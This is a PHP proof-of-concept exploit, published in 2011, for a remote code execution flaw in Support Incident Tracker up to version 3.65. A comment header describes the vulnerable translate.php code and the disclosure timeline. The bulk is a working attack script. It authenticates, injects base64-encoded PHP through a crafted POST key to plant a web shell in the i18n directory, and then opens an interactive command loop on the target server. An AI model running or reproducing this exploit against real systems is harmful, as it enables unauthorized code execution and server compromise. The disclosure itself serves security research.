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Support Incident Tracker 3.65 Remote Code Execution

Posted on 22 November 2011

<?php

/*
 ------------------------------------------------------------------------------
 Support Incident Tracker <= 3.65 (translate.php) Remote Code Execution Exploit
 ------------------------------------------------------------------------------

 author...............: Egidio Romano aka EgiX
 mail.................: n0b0d13s[at]gmail[dot]com
 software link........: http://sitracker.org/
 affected versions....: from 3.45 to 3.65

 +-------------------------------------------------------------------------+
 | This proof of concept code was written for educational purpose only. |
 | Use it at your own risk. Author will be not responsible for any damage. |
 +-------------------------------------------------------------------------+

 [-] vulnerable code in /translate.php

 234. foreach (array_keys($_POST) as $key)
 235. {
 236. if (!empty($_POST[$key]) AND substr($key, 0, 3) == "str")
 237. {
 238. if ($lastchar!='' AND substr($key, 3, 1) != $lastchar) $i18nfile .= "
";
 239. $i18nfile .= "${$key} = '".addslashes($_POST[$key])."';
";
 240. $lastchar = substr($key, 3, 1);
 241. $translatedcount++;
 242. }
 243. }

 Input passed via keys of $_POST array isn't properly sanitized before being stored into $i18nfile variable
 at line 239, that variable will be the contents of a language file stored into 'i18n' directory with a php
 extension. This could allow authenticated users to inject and execute arbitrary PHP code. Furthermore,
 access directly to /translate.php?mode=save will reveal the full installation path of the application.

 [-] Disclosure timeline:

 [13/11/2011] - Vulnerability discovered
 [13/11/2011] - Issue reported to http://bugs.sitracker.org/view.php?id=1737
 [13/11/2011] - Vendor replied that this issue is fixed in the current SVN trunk
 [19/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
 if (!($sock = fsockopen($host, 80)))
 die( "
[-] No response from {$host}:80
");

 fwrite($sock, $packet);
 return stream_get_contents($sock);
}

print "
+------------------------------------------------------------------------+";
print "
| Support Incident Tracker <= 3.65 Remote Code Execution Exploit by EgiX |";
print "
+------------------------------------------------------------------------+
";

if ($argc < 3)
{
 print "
Usage......: php $argv[0] <host> <path> <username> <password>
";
 print "
Example....: php $argv[0] localhost / user pass";
 print "
Example....: php $argv[0] localhost /sit/ user pass
";
 die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "username={$argv[3]}&password={$argv[4]}";
$packet = "POST {$path}login.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: SiTsessionID=foo
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: application/x-www-form-urlencoded
";
$packet .= "Connection: close

{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/main.php/", $response)) die("
[-] Login failed!
");
if (!preg_match("/Set-Cookie: ([^;]*);/", $response, $sid)) die("
[-] Session ID not found!
");

$phpcode = base64_encode('passthru(base64_decode($_SERVER[HTTP_CMD]));print("___");');
$payload = "mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1";

$packet = "POST {$path}translate.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: {$sid[1]}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: application/x-www-form-urlencoded
";
$packet .= "Connection: close

{$payload}";

http_send($host, $packet);

$packet = "GET {$path}i18n/sh.inc.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

while(1)
{
 print "
sit-shell# ";
 if (($cmd = trim(fgets(STDIN))) == "exit") break;
 $response = http_send($host, sprintf($packet, base64_encode($cmd)));
 preg_match("/

(.*)___/s", $response, $m) ? print $m[1] : die("
[-] Exploit failed!
");
}

?>

 

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